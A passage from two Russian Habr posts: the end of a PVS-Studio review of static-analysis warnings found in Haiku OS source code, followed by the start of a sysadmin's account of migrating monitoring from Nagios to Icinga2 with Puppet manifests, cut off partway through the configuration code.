Вместо указателя *missing* следовало проверять указатель *dir* после преобразования типа. Кстати, подобную ошибку [часто](https://www.viva64.com/ru/examples/v3019/) делают и программисты на языке C#. Это в очередной раз доказывает, что некоторые ошибки не зависят от используемого языка.
Ещё пара похожих мест в коде:
* V757 It is possible that an incorrect variable is compared with nullptr after type conversion using 'dynamic\_cast'. Check lines: 355, 357. ExpandoMenuBar.cpp 355
* V757 It is possible that an incorrect variable is compared with nullptr after type conversion using 'dynamic\_cast'. Check lines: 600, 601. ValControl.cpp 600
Ошибки в индексах
-----------------
[V557](https://www.viva64.com/ru/w/v557/) Array overrun is possible. The 'BT\_SCO' index is pointing beyond array bound. h2upper.cpp 75
```
struct bt_usb_dev {
....
struct list nbuffersTx[(1 + 1 + 0 + 0)]; // <= [0..1]
....
}
typedef enum {
BT_COMMAND = 0,
BT_EVENT,
BT_ACL,
BT_SCO, // <= 3
BT_ESCO,
HCI_NUM_PACKET_TYPES
} bt_packet_t;
void
sched_tx_processing(bt_usb_dev* bdev)
{
....
if (!list_is_empty(&bdev->nbuffersTx[BT_SCO])) { // <= fail
// TODO to be implemented
}
....
}
```
Массив *bdev->nbuffersTx* состоит всего из двух элементов, при этом в коде к нему обращаются по константе BT\_SCO, которая имеет значение 3. Происходит гарантированный выход за границы массива.
[V557](https://www.viva64.com/ru/w/v557/) Array overrun is possible. The 'ieee80211\_send\_setup' function processes value '16'. Inspect the fourth argument. Check lines: 842, 911. ieee80211\_output.c 842
```
struct ieee80211_node {
....
struct ieee80211_tx_ampdu ni_tx_ampdu[16]; // <= [0..15]
....
};
#define IEEE80211_NONQOS_TID 16
int
ieee80211_mgmt_output(....)
{
....
ieee80211_send_setup(ni, m,
IEEE80211_FC0_TYPE_MGT | type, IEEE80211_NONQOS_TID, // <= 16
vap->iv_myaddr, ni->ni_macaddr, ni->ni_bssid);
....
}
void
ieee80211_send_setup(
struct ieee80211_node *ni,
struct mbuf *m,
int type,
int tid, // <= 16
....)
{
....
tap = &ni->ni_tx_ampdu[tid]; // <= 16
....
}
```
Ещё один выход за пределы массива. В этом случае всего на один элемент. Межпроцедурный анализ помог выявить ситуацию, когда к массиву *ni->ni\_tx\_ampdu*, состоящему из 16 элементов, обратились по индексу *16*. В языках C и C++ индексация массивов выполняется с нуля.
[V781](https://www.viva64.com/ru/w/v781/) The value of the 'vector' variable is checked after it was used. Perhaps there is a mistake in program logic. Check lines: 802, 805. oce\_if.c 802
```
#define OCE_MAX_EQ 32
typedef struct oce_softc {
....
OCE_INTR_INFO intrs[OCE_MAX_EQ];
....
} OCE_SOFTC, *POCE_SOFTC;
static int
oce_alloc_intr(POCE_SOFTC sc, int vector, void (*isr) (void *arg, int pending))
{
POCE_INTR_INFO ii = &sc->intrs[vector];
int rc = 0, rr;
if (vector >= OCE_MAX_EQ)
return (EINVAL);
....
}
```
Анализатор обнаружил обращение к массиву *sc->intrs* по невалидному индексу (выходящему за границы массива). Причина этого — неправильный порядок кода. Здесь выполняется сначала обращение к массиву, а потом проверка, допустимо ли значение индекса.
Кто-то может сказать, что беды не будет. Здесь ведь не извлекается значение элемента массива, а просто берётся адрес ячейки. Нет, так всё равно делать нельзя. Подробнее: "[Разыменовывание нулевого указателя приводит к неопределённому поведению](https://www.viva64.com/ru/b/0306/)".
[V519](https://www.viva64.com/ru/w/v519/) The variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 199, 200. nvme\_ctrlr.c 200
```
static void nvme_ctrlr_set_intel_supported_features(struct nvme_ctrlr *ctrlr)
{
bool *supported_feature = ctrlr->feature_supported;
supported_feature[NVME_INTEL_FEAT_MAX_LBA] = true;
supported_feature[NVME_INTEL_FEAT_MAX_LBA] = true;
supported_feature[NVME_INTEL_FEAT_NATIVE_MAX_LBA] = true;
supported_feature[NVME_INTEL_FEAT_POWER_GOVERNOR_SETTING] = true;
supported_feature[NVME_INTEL_FEAT_SMBUS_ADDRESS] = true;
supported_feature[NVME_INTEL_FEAT_LED_PATTERN] = true;
supported_feature[NVME_INTEL_FEAT_RESET_TIMED_WORKLOAD_COUNTERS] = true;
supported_feature[NVME_INTEL_FEAT_LATENCY_TRACKING] = true;
}
```
Элементу массива с индексом *NVME\_INTEL\_FEAT\_MAX\_LBA* присваивают одно и то же значение. К счастью, в этой функции представлены все возможные константы и код является просто результатом Copy-Paste программирования. Но вероятность допущения ошибок таким образом очень высокая.
[V519](https://www.viva64.com/ru/w/v519/) The 'copiedPath[len]' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 92, 93. kernel\_emu.cpp 93
```
int
UserlandFS::KernelEmu::new_path(const char *path, char **copy)
{
....
// append a dot, if desired
if (appendDot) {
copiedPath[len] = '.';
copiedPath[len] = '\0';
}
....
}
```
А тут разработчику не повезло с копированием. К некой строке добавляется символ «точка» и тут же перезаписывается терминальным нулём. Скорее всего, автор кода скопировал строку и забыл сделать инкремент индексу.
Странные условия
----------------
[V517](https://www.viva64.com/ru/w/v517/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 1407, 1410. FindPanel.cpp 1407
```
void
FindPanel::BuildAttrQuery(BQuery* query, bool &dynamicDate) const
{
....
case B_BOOL_TYPE:
{
uint32 value;
if (strcasecmp(textControl->Text(),
"true") == 0) {
value = 1;
} else if (strcasecmp(textControl->Text(),
"true") == 0) {
value = 1;
} else
value = (uint32)atoi(textControl->Text());
value %= 2;
query->PushUInt32(value);
break;
}
....
}
```
Копирование кода привело сразу к двум ошибкам. Условные выражения идентичны. Скорее всего, в одном из них должно быть сравнение со строкой «false», вместо «true». Далее, в ветви, которая обрабатывает значение «false», следует изменить значение *value* с *1* на *0*. Алгоритм предполагает, что любые другие значения, отличные от *true* или *false*, будут преобразованы в число с помощью функции *atoi*, но из-за ошибки в функцию будет попадать и текст «false».
[V547](https://www.viva64.com/ru/w/v547/) Expression 'error == ((int) 0)' is always true. Directory.cpp 688
```
int32
BDirectory::CountEntries()
{
status_t error = Rewind();
if (error != B_OK)
return error;
int32 count = 0;
BPrivate::Storage::LongDirEntry entry;
while (error == B_OK) {
if (GetNextDirents(&entry, sizeof(entry), 1) != 1)
break;
if (strcmp(entry.d_name, ".") != 0 && strcmp(entry.d_name, "..") != 0)
count++;
}
Rewind();
return (error == B_OK ? count : error);
}
```
Анализатор обнаружил, что значение переменной *error* будет всегда *B\_OK*. Скорее всего, в цикле *while* пропустили модификацию этой переменной.
[V564](https://www.viva64.com/ru/w/v564/) The '&' operator is applied to bool type value. You've probably forgotten to include parentheses or intended to use the '&&' operator. strtod.c 545
```
static int
lo0bits(ULong *y)
{
int k;
ULong x = *y;
....
if (!(x & 1)) {
k++;
x >>= 1;
if (!x & 1) // <=
return 32;
}
*y = x;
return k;
}
```
Скорее всего, в последнем условном выражении забыли расставить скобочки, как в условиях выше. Вероятно, там тоже оператор отрицания должен быть за скобками:
```
if (!(x & 1)) // <=
return 32;
```
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting this expression. The expression is excessive or contains a misprint. PoseView.cpp 5851
```
bool
BPoseView::AttributeChanged(const BMessage* message)
{
....
result = poseModel->OpenNode();
if (result == B_OK || result != B_BUSY)
break;
....
}
```
Это не очевидно, но результат условия не зависит от значения B\_OK. Таким образом, его можно упростить:
```
If (result != B_BUSY)
break;
```
Это легко проверить, построив таблицу истинности для значений переменной *result*. Если требовалось специально рассмотреть другие значения, отличные от *B\_OK* и *B\_BUSY*, то код следует переписать иначе.
Ещё два похожих условия:
* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. Tracker.cpp 1714
* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. if\_ipw.c 1871
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting the 'argc == 0 || argc != 2' expression. The expression is excessive or contains a misprint. cmds.c 2667
```
void
unsetoption(int argc, char *argv[])
{
....
if (argc == 0 || argc != 2) {
fprintf(ttyout, "usage: %s option\n", argv[0]);
return;
}
....
}
```
Пожалуй, это самый простой пример, который демонстрирует работу диагностики [V590](https://www.viva64.com/ru/w/v590/). Вывести на экран описание программы необходимо в случае, если нет переданных аргументов, или их не два. Очевидно, что любые значения, отличные от двух, включая ноль, не будут удовлетворять условию. Поэтому условие смело можно упростить до такого:
```
if (argc != 2) {
fprintf(ttyout, "usage: %s option\n", argv[0]);
return;
}
```
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting the '\* ptr == ';' && \* ptr != '\0'' expression. The expression is excessive or contains a misprint. pc.c 316
```
ULONG
parse_expression(char *str)
{
....
ptr = skipwhite(ptr);
while (*ptr == SEMI_COLON && *ptr != '\0')
{
ptr++;
if (*ptr == '\0')
continue;
val = assignment_expr(&ptr);
}
....
}
```
В этом примере сменился логический оператор, но логика осталась прежней. Здесь условие цикла while зависит только от того, равен символ значению *SEMI\_COLON* или нет.
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting this expression. The expression is excessive or contains a misprint. writembr.cpp 99
```
int
main(int argc, char** argv)
{
....
string choice;
getline(cin, choice, '\n');
if (choice == "no" || choice == "" || choice != "yes") {
cerr << "MBR was NOT written" << endl;
fs.close();
return B_ERROR;
}
....
}
```
В этом примере уже три условия. Его также можно упростить до проверки, выбрал пользователь «yes» или нет:
```
if (choice != "yes") {
cerr << "MBR was NOT written" << endl;
fs.close();
return B_ERROR;
}
```
Разные ошибки
-------------
[V530](https://www.viva64.com/ru/w/v530/) The return value of function 'begin' is required to be utilized. IMAPFolder.cpp 414
```
void
IMAPFolder::RegisterPendingBodies(...., const BMessenger* replyTo)
{
....
IMAP::MessageUIDList::const_iterator iterator = uids.begin();
for (; iterator != uids.end(); iterator++) {
if (replyTo != NULL)
fPendingBodies[*iterator].push_back(*replyTo);
else
fPendingBodies[*iterator].begin(); // <=
}
}
```
Анализатор обнаружил бессмысленный вызов итератора *begin().* Не могу предположить, как исправить код. Разработчиком следует обратить внимание на это место.
[V609](https://www.viva64.com/ru/w/v609/) Divide by zero. Denominator range [0..64]. UiUtils.cpp 544
```
static int32 GetSIMDFormatByteSize(uint32 format)
{
switch (format) {
case SIMD_RENDER_FORMAT_INT8:
return sizeof(char);
case SIMD_RENDER_FORMAT_INT16:
return sizeof(int16);
case SIMD_RENDER_FORMAT_INT32:
return sizeof(int32);
case SIMD_RENDER_FORMAT_INT64:
return sizeof(int64);
case SIMD_RENDER_FORMAT_FLOAT:
return sizeof(float);
case SIMD_RENDER_FORMAT_DOUBLE:
return sizeof(double);
}
return 0;
}
const BString&
UiUtils::FormatSIMDValue(const BVariant& value, uint32 bitSize,
uint32 format, BString& _output)
{
_output.SetTo("{");
char* data = (char*)value.ToPointer();
uint32 count = bitSize / (GetSIMDFormatByteSize(format) * 8); // <=
....
}
```
Функция *GetSIMDFormatByteSize* действительно возвращает *0* в качестве дефолтного значения, что потенциально может привести к делению на ноль.
[V654](https://www.viva64.com/ru/w/v654/) The condition 'specificSequence != sequence' of loop is always false. pthread\_key.cpp 55
```
static void*
get_key_value(pthread_thread* thread, uint32 key, int32 sequence)
{
pthread_key_data& keyData = thread->specific[key];
int32 specificSequence;
void* value;
do {
specificSequence = keyData.sequence;
if (specificSequence != sequence)
return NULL;
value = keyData.value;
} while (specificSequence != sequence);
keyData.value = NULL;
return value;
}
```
Анализатор прав, что условие оператора *while* всегда ложно. Из-за этого в цикле выполняется не больше одной итерации. Другими словами, ничего бы не изменилось, если написать *while(0)*. Всё это очень странно и этот код содержит какую-то ошибку в логике работы. Разработчикам следует обратить на это место внимание.
[V672](https://www.viva64.com/ru/w/v672/) There is probably no need in creating the new 'path' variable here. One of the function's arguments possesses the same name and this argument is a reference. Check lines: 348, 429. translate.cpp 429
```
status_t
Translator::FindPath(...., TypeList &path, double &pathQuality)
{
....
TypeList path;
double quality;
if (FindPath(&formats[j], stream, typesSeen, path, quality) == B_OK) {
if (bestQuality < quality * formatQuality) {
bestQuality = quality * formatQuality;
bestPath.SetTo(path);
bestPath.Add(formats[j].type);
status = B_OK;
}
}
....
}
```
Переменная *path* передаётся в функцию *FindPath* по ссылке. Это означает, что возможна модификация этой переменной в теле функции. Но здесь присутствует одноимённая локальная переменная, которая модифицируется. В этом случае все изменения останутся только в локальной переменной. Возможно, следует переименовать или удалить локальную переменную.
[V705](https://www.viva64.com/ru/w/v705/) It is possible that 'else' block was forgotten or commented out, thus altering the program's operation logics. HostnameView.cpp 109
```
status_t
HostnameView::_LoadHostname()
{
BString fHostnameString;
char hostname[MAXHOSTNAMELEN];
if (gethostname(hostname, MAXHOSTNAMELEN) == 0) {
fHostnameString.SetTo(hostname, MAXHOSTNAMELEN);
fHostname->SetText(fHostnameString);
return B_OK;
} else
return B_ERROR;
}
```
Пример плохого оформления кода. «Зависшее» ключевое слово *else* пока не изменяет логику, но это до первого вставленного фрагмента кода перед оператором *return*.
[V763](https://www.viva64.com/ru/w/v763/) Parameter 'menu' is always rewritten in function body before being used. video.cpp 648
```
bool
video_mode_hook(Menu *menu, MenuItem *item)
{
video_mode *mode = NULL;
menu = item->Submenu();
item = menu->FindMarked();
....
}
```
Нашлось очень много случаев, когда аргументы функции перезаписываются сразу на входе в функцию. Такое поведение вводит в заблуждение других разработчиков, которые вызывают эти самые функции.
Весь список подозрительных мест:
* V763 Parameter 'force\_16bit' is always rewritten in function body before being used. ata\_adapter.cpp 151
* V763 Parameter 'force\_16bit' is always rewritten in function body before being used. ata\_adapter.cpp 179
* V763 Parameter 'menu' is always rewritten in function body before being used. video.cpp 264
* V763 Parameter 'length' is always rewritten in function body before being used. MailMessage.cpp 677
* V763 Parameter 'entry' is always rewritten in function body before being used. IconCache.cpp 773
* V763 Parameter 'entry' is always rewritten in function body before being used. IconCache.cpp 832
* V763 Parameter 'entry' is always rewritten in function body before being used. IconCache.cpp 864
* V763 Parameter 'rect' is always rewritten in function body before being used. ErrorLogWindow.cpp 56
* V763 Parameter 'updateRect' is always rewritten in function body before being used. CalendarMenuWindow.cpp 49
* V763 Parameter 'rect' is always rewritten in function body before being used. MemoryView.cpp 165
* V763 Parameter 'rect' is always rewritten in function body before being used. TypeEditors.cpp 1124
* V763 Parameter 'height' is always rewritten in function body before being used. Workspaces.cpp 857
* V763 Parameter 'width' is always rewritten in function body before being used. Workspaces.cpp 856
* V763 Parameter 'frame' is always rewritten in function body before being used. SwatchGroup.cpp 48
* V763 Parameter 'frame' is always rewritten in function body before being used. PlaylistWindow.cpp 89
* V763 Parameter 'rect' is always rewritten in function body before being used. ConfigView.cpp 78
* V763 Parameter 'm' is always rewritten in function body before being used. mkntfs.c 3917
* V763 Parameter 'rxchainmask' is always rewritten in function body before being used. ar5416\_cal.c 463
* V763 Parameter 'c' is always rewritten in function body before being used. if\_iwn.c 6854
Заключение
----------
Проект Haiku — источник интересных и редких ошибок. Мы пополнили нашу базу примеров ошибок и исправили несколько проблем в анализаторе, выявленных при анализе кода.
Если вы давно не проверяли свой код какими-нибудь инструментами анализа кода, то что-нибудь из описанного наверняка есть и в вашем коде. Используйте PVS-Studio в своём проекте для контроля качества кода, если он написан на языках C, C++, C# или Java. Скачать анализатор без регистрации и смс можно [здесь](https://www.viva64.com/ru/pvs-studio-download/).
Хотите попробовать Haiku и у вас возникли вопросы? Разработчики Haiku приглашают вас в [telegram-канал](https://t.me/HaikuOS_RU_chat).
[](https://habr.com/en/company/pvs-studio/blog/461517/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [Best Copy-Paste Algorithms for C and C++. Haiku OS Cookbook](https://habr.com/en/company/pvs-studio/blog/461517/) | https://habr.com/ru/post/461519/ | null | ru | null |
# Миграция с Nagios на Icinga2 в Австралии
Всем привет.
Я — сисадмин linux, переехал из России в Австралию по независимой профессиональной визе в 2015 году, но статья будет не о том, как поросёнку завести трактор. Таких статей уже и так достаточно (тем не менее, если будет интерес — напишу и про это), так что я хотел бы рассказать о том, как на своей работе в Австралии в должности linux-ops-инженера я был инициатором миграции с одной системы мониторинга на другую. Конкретно — Nagios => Icinga2.
Статья частично техническая и частично — про общение с людьми и проблемы, связанные с разницей в культуре и методах работы.
К сожалению тэг "code" не подсвечивает код Puppet и yaml, так что пришлось использовать "plaintext".
Ничто не предвещало беды утром 21 декабря 2016 года. Я, как обычно, читал Хабр незарегистрированным анонимусом в первые полчаса рабочего дня, поглощая кофе и наткнулся на [эту статью](https://habr.com/ru/company/pt/blog/318050/).
Поскольку в моей компании как раз использовался Nagios, я, недолго думая, создал тикет в Redmine и скинул ссылку в общий чат, поскольку счёл это важным. Инициатива наказуема даже в Австралии, так что ведущий инженер повесил эту проблему на меня, раз уж я её обнаружил.
**Скрин из Редмайн**
У нас в отделе перед изложением своего мнения принято предложить как минимум одну альтернативу, даже если выбор очевиден, так что я начал с гуглирования какие вообще системы мониторинга на данный момент актуальны, поскольку в России на последнем месте работы у меня была своя собственная самописная система, очень примитивная, но тем не менее вполне себе рабочая и выполняющая все возложенные на неё задачи. Python, Питерский Политех и метро рулят. Нет, метро — отстой. Это личное (11 лет работы) и достойно отдельной статьи, но не сейчас.
Немного о правилах внесения изменений в конфигурацию инфраструктуры на моём текущем месте. У нас используется Puppet, Gitlab и принцип Infrastructure as a Code, так что:
* Никаких ручных изменений через SSH путём ручного изменения каких-либо файлов на виртуальных машинах. За три года работы я за это получал по шапке много раз, последний — неделю назад и не думаю, что это был последний раз. Ну в самом деле — поправить одну строку в конфиге, перезапустить службу и посмотреть решилась ли проблема — 10 секунд. Создать новую ветку в Gitlab, запушить изменения, дождаться, пока r10k отработает на Puppetmaster, запустить Puppet --environment=mybranch и ещё пару минут подождать пока всё это отработает — 5 минут минимум.
* Любые изменения делаются путём создания Merge Request в Gitlab и необходимо получение одобрения минимум от одного члена команды. Серьёзные изменения по решению тим-лида требуют два или три одобрения.
* Все изменения так или иначе являются текстовыми (поскольку манифесты Puppet, скрипты и данные Hiera — это текст), бинарные файлы крайне не рекомендуются и для одобрения таких файлов нужны веские причины.
Итак, варианты, которые я рассмотрел:
* Munin — если в инфраструктуре больше 10 серверов, администрирование превращается в ад (из [этой статьи](https://habr.com/ru/post/331016/). У меня не было особого желания проверять это, так что я поверил на слово).
* Zabbix — давно уже присматривался, ещё в России, но тогда он был избыточен для моих задач. Здесь — пришлось отбросить по причине использования Puppet в качестве менеджера конфигурации и Gitlab в качестве системы контроля версий. На тот момент, насколько я понял — Zabbix хранит всю конфигурацию в базе данных, в связи с чем было непонятно как управлять конфигурацией в текущих условиях и как отслеживать изменения.
* Prometheus — то, к чему мы придём в итоге, судя по настроению в отделе, но на тот момент я не осилил это и не смог продемонстрировать реально работающий образец (Proof of Concept), так что пришлось отказаться.
* Ещё было несколько других вариантов, которые либо требовали полной переработки системы, либо были в зачаточном состоянии / заброшены и по этой же причине были отвергнуты.
В итоге я остановился на Icinga2 по трём причинам:
1 — совместимость с Nrpe (клиентской службой, которая запускает проверки по командам от Nagios). Это было очень важно, потому что у нас на тот момент было 135 (сейчас на 2019 их 165) виртуальных машин с кучей самописных сервисов/проверок и переделывать это всё было бы лютым геморроем.
2 — все конфигурационные файлы текстовые, что позволяет легко править это дело, создавать merge requests с возможность видеть что добавлено или удалено.
3 — это живой и развивающийся OpenSource проект. У нас очень любят OpenSource и делают посильный вклад в него путём создания Pull Requests и Issues для решения проблем.
Итак, поехали, Icinga2.
Первое, с чем пришлось столкнуться — инертность коллег. Все привыкли к Нагиосу/Наджиосу (хотя даже здесь не смогли придти к компромису как это произносить) и интерфейсу CheckMK. У icinga интерфейс выглядит капитально иначе (это был минус), но есть возможность гибко настраивать то, что нужно видеть с помощью фильтров буквально по любому параметру (это был плюс, но я за него знатно повоевал).
**Фильтры**
Оцените отношение размера скролл-бара к размеру поля для прокрутки.
Второе — все привыкли видеть всю инфраструктуру на одном мониторе, потому что CheckMk позволяет работать с несколькими хостами Nagios, но интерфейс Icinga так не умел (на самом деле умел, но об этом ниже). Альтернативой была вещь под названием Thruk, но её дизайн вызывал рвотные позывы у всех членов команды, кроме одного — того, кто это предложил (не я).
**В топку Thruk - единогласное решение команды**
Спустя пару дней мозгового шторма я предложил идею кластерного мониторинга, когда есть один мастер-хост в production-зоне и два подчинённых — один в dev/test и один внешний хост, расположенный у другого провайдера с целью мониторить наши сервисы с точки зрения клиента или постороннего наблюдателя. Такая конфигурация позволяла видеть все проблемы в одном web-интерфейсе и вполне себе работала, но Puppet… Проблема с Puppet заключалась в том, что мастер-хост теперь должен был знать о всех хостах и службах/проверках в системе и должен был распределять их между зонами (dev-test, staging-prod, ext), но отправка изменений через Icinga API занимает пару секунд, а вот компиляция каталога Puppet всех сервисов для всех хостов — пару минут. Это мне до сих пор вменяют в вину, хотя я уже несколько раз объяснял как всё работает и почему это всё так долго.
Третье — куча SnowFlakes (снежинок) — вещей, которые выбиваются из общей системы, потому что в них есть что-то особенное, поэтому общие правила к ним неприменимы. Решалось путём лобовой атаки — если есть тревоги, но по факту всё в порядке, значит тут надо копать глубже и разбираться почему оно у меня алёртит, хотя не должно. Или наоборот — почему Нагиос паникует, а Icinga — нет.
Четвертое — Нагиос работал тут до меня три года и к нему доверия было изначально больше, чем к моей новомодной хипстерской системе, так что каждый раз, когда Icinga поднимала панику — никто ничего не делал, пока Нагиос не возбуждался по тому же вопросу. Но очень редко Icinga выдавала реальные тревоги раньше, чем Nagios и я считаю это серьёзным косяком, о котором расскажу в разделе "Выводы".
В итоге, ввод в эксплуатацию затянулся больше, чем на 5 месяцев (планировалось 28 июня 2018, по факту — 3 декабря 2018), в основном из-за "parity check" — той хрени, когда есть несколько сервисов в Нагиос, о которых никто ничего не слышал последние пару лет, но ИМЕННО СЕЙЧАС они, блин, выдали crit без какой-либо причины и мне пришлось объясняться почему их нет на моей панели и пришлось добавить их в Icinga, чтобы "parity check is complete" (Все службы/проверки в Нагиос соответствуют службам/проверкам в Icinga)
Внедрение:
Первое — война Code vs Data, типа Puppet Style. Все данные, прямо вот вообще все, должны быть в Hiera и никак иначе. Весь код — в файлах .pp. Переменные, абстракции, фунции — всё идёт в pp.
В итоге — у нас есть куча виртуальных машин (165 на момент написания статьи) и 68 web-приложений, которые надо мониторить на предмет работоспособности и на действительности SSL-сертификатов. Но из-за исторического геморроя информация для мониторинга приложений берётся из отдельного gitlab-репозитория и формат данных не менялся со времён Puppet 3, что создаёт дополнительные сложности в конфигурациии.
**Puppet-code для приложений, берегите глаза**
```
define profiles::services::monitoring::docker_apps(
Hash $app_list,
Hash $apps_accessible_from,
Hash $apps_access_list,
Hash $webhost_defaults,
Hash $webcheck_defaults,
Hash $service_overrides,
Hash $targets,
Hash $app_checks,
)
{
#### APPS ####
$zone = $name
$app_list.each | String $app_name, Hash $app_data |
{
$notify_group = { 'notify_group' => ($webcheck_defaults[$zone]['notify_group'] + pick($app_data['notify_group'], {} )) } # adds notifications for default group (systems) + any group defined in int/pm_docker_apps.eyaml
$data = merge($webhost_defaults, $apps_accessible_from, $app_data)
$site_domain = $app_data['site_domain']
$regexp = pick($app_data['check_regex'], 'html') # Pick a regex to check
$check_url = $app_data['check_url'] ? {
undef => { 'http_uri' => '/' },
default => { 'http_uri' => $app_data['check_url'] }
}
$check_regex = $regexp ?{
'absent' => {},
default => {'http_expect_body_regex' => $regexp}
}
$site_domain.each | String $vhost, Hash $vdata | { # Split an app by domains if there are two or more
$vhost_name = {'http_vhost' => $vhost}
$vars = $data['vars'] + $vhost_name + $check_regex + $check_url
$web_ipaddress = is_array($vdata['web_ipaddress']) ? { # Make IP-address an array if it's not, because askizzy has 2 ips and it's an array
true => $vdata['web_ipaddress'],
false => [$vdata['web_ipaddress']],
}
$access_from_zones = [$zone] + $apps_access_list[$data['accessible_from']] # Merge default zone (where the app is defined) and extra zones if they exist
$web_ipaddress.each | String $ip_address | { # For each IP (if we have multiple)
$suffix = length($web_ipaddress) ? { # If we have more than one - add IP as a suffix to this hostname to avoid duplicating resources
1 => '',
default => "_${ip_address}"
}
$octets = split($ip_address, '\.')
$ip_tag = "${octets[2]}.${octets[3]}" # Using last octet only causes a collision between nginx-vip 203.15.70.94 and ext. ip 49.255.194.94
$access_from_zones.each | $zone_prefix |{
$zone_target = $targets[$zone_prefix]
$nginx_vip_name = "${zone_prefix}_nginx-vip-${ip_tag}" # If it's a host for ext - prefix becomes 'ext_' (ext_nginx-vip...)
$nginx_host_vip = {
$nginx_vip_name => {
ensure => present,
target => $zone_target,
address => $ip_address,
check_command => 'hostalive',
groups => ['nginx_vip',],
}
}
$ssl_vars = $app_checks['ssl']
$regex_vars = $app_checks['http'] + $vars + $webcheck_defaults[$zone] + $notify_group
if !defined( Profiles::Services::Monitoring::Host[$nginx_vip_name] ) {
ensure_resources('profiles::services::monitoring::host', $nginx_host_vip)
}
if !defined( Icinga2::Object::Service["${nginx_vip_name}_ssl"] ) {
icinga2::object::service {"${nginx_vip_name}_ssl":
ensure => $data['ensure'],
assign => ["host.name == $nginx_vip_name",],
groups => ['webchecks',],
check_command => 'ssl',
check_interval => $service_overrides['ssl']['check_interval'],
target => $targets['services'],
apply => true,
vars => $ssl_vars
}
}
if $regexp != 'absent'{
if !defined(Icinga2::Object::Service["${vhost}${$suffix} regex"]){
icinga2::object::service {"${vhost}${$suffix} regex":
ensure => $data['ensure'],
assign => ["match(*_nginx-vip-${ip_tag}, host.name)",],
groups => ['webchecks',],
check_command => 'http',
check_interval => $service_overrides['regex']['check_interval'],
target => $targets['services'],
enable_flapping => true,
apply => true,
vars => $regex_vars
}
}
}
}
}
}
}
}
```
Код конфигурации хостов и сервисов тоже выглядит ужасно:
**monitoring/config.pp**
```
class profiles::services::monitoring::config(
Array $default_config,
Array $hostgroups,
Hash $hosts = {},
Hash $host_defaults,
Hash $services,
Hash $service_defaults,
Hash $service_overrides,
Hash $webcheck_defaults,
Hash $servicegroups,
String $servicegroup_target,
Hash $user_defaults,
Hash $users,
Hash $oncall,
Hash $usergroup_defaults,
Hash $usergroups,
Hash $notifications,
Hash $notification_defaults,
Hash $notification_commands,
Hash $timeperiods,
Hash $webhost_defaults,
Hash $apps_access_list,
Hash $check_commands,
Hash $hosts_api = {},
Hash $targets = {},
Hash $host_api_defaults = {},
)
{
# Profiles::Services::Monitoring::Hostgroup <<| |>> # will be enabled when we move to icinga completely
#### APPS ####
case $location {
'int', 'ext': {
$apps_by_zone = {}
}
'pm': {
$int_apps = hiera('int_docker_apps')
$int_app_defaults = hiera('int_docker_app_common')
$st_apps = hiera('staging_docker_apps')
$srs_apps = hiera('pm_docker_apps_srs')
$pm_apps = hiera('pm_docker_apps') + $st_apps + $srs_apps
$pm_app_defaults = hiera('pm_docker_app_common')
$apps_by_zone = {
'int' => $int_apps,
'pm' => $pm_apps,
}
$app_access_by_zone = {
'int' => {'accessible_from' => $int_app_defaults['accessible_from']},
'pm' => {'accessible_from' => $pm_app_defaults['accessible_from']},
}
}
default: {
fail('Please ensure the node has $location fact set (int, pm, ext)')
}
}
file { '/etc/icinga2/conf.d/':
ensure => directory,
recurse => true,
purge => true,
owner => 'icinga',
group => 'icinga',
mode => '0750',
notify => Service['icinga2'],
}
$default_config.each | String $file_name |{
file {"/etc/icinga2/conf.d/${file_name}":
ensure => present,
source => "puppet:///modules/profiles/services/monitoring/default_config/${file_name}",
owner => 'icinga',
group => 'icinga',
mode => '0640',
}
}
$app_checks = {
'ssl' => $services['webchecks']['checks']['ssl']['vars'],
'http' => $services['webchecks']['checks']['http_regexp']['vars']
}
$apps_by_zone.each | String $zone, Hash $app_list | {
profiles::services::monitoring::docker_apps{$zone:
app_list => $app_list,
apps_accessible_from => $app_access_by_zone[$zone],
apps_access_list => $apps_access_list,
webhost_defaults => $webhost_defaults,
webcheck_defaults => $webcheck_defaults,
service_overrides => $service_overrides,
targets => $targets,
app_checks => $app_checks,
}
}
#### HOSTS ####
# Profiles::Services::Monitoring::Host <<| |>> # This is for spaceship invasion when it's ready.
$hosts_has_large_disks = query_nodes('mountpoints.*.size_bytes >= 1099511627776')
$hosts.each | String $hostgroup, Hash $list_of_hosts_with_settings | { # Splitting site lists by hostgroups - docker_host/gluster_host/etc
$list_of_hosts_in_group = $list_of_hosts_with_settings['hosts']
$hostgroup_settings = $list_of_hosts_with_settings['settings']
$merged_hostgroup_settings = deep_merge($host_defaults, $list_of_hosts_with_settings['settings'])
$list_of_hosts_in_group.each | String $host_name, Hash $host_settings |{ # Splitting grouplists by hosts
# Is this host in the array $hosts_has_large_disks ? If so set host.vars.has_large_disks
if ( $hosts_has_large_disks.reduce(false) | $found, $value| { ( $value =~ "^${host_name}" ) or $found } ) {
$vars_has_large_disks = { 'has_large_disks' => true }
} else {
$vars_has_large_disks = {}
}
$host_data = deep_merge($merged_hostgroup_settings, $host_settings)
$hostgroup_settings_vars = pick($hostgroup_settings['vars'], {})
$host_settings_vars = pick($host_settings['vars'], {})
$host_notify_group = delete_undef_values($host_defaults['vars']['notify_group'] + $hostgroup_settings_vars['notify_group'] + $host_settings_vars['notify_group'])
$host_data_vars = delete_undef_values(deep_merge($host_data['vars'] , {'notify_group' => $host_notify_group}, $vars_has_large_disks)) # Merging vars separately
$hostgroups = delete_undef_values([$hostgroup] + $host_data['groups'])
profiles::services::monitoring::host{$host_name:
ensure => $host_data['ensure'],
display_name => $host_data['display_name'],
address => $host_data['address'],
groups => $hostgroups,
target => $host_data['target'],
check_command => $host_data['check_command'],
check_interval => $host_data['check_interval'],
max_check_attempts => $host_data['max_check_attempts'],
vars => $host_data_vars,
template => $host_data['template'],
}
}
}
if !empty($hosts_api){ # All hosts managed by API
$hosts_api.each | String $zone, Hash $hosts_api_zone | { # Split api hosts by zones
$hosts_api_zone.each | String $hostgroup, Hash $list_of_hosts_with_settings | { # Splitting site lists by hostgroups - docker_host/gluster_host/etc
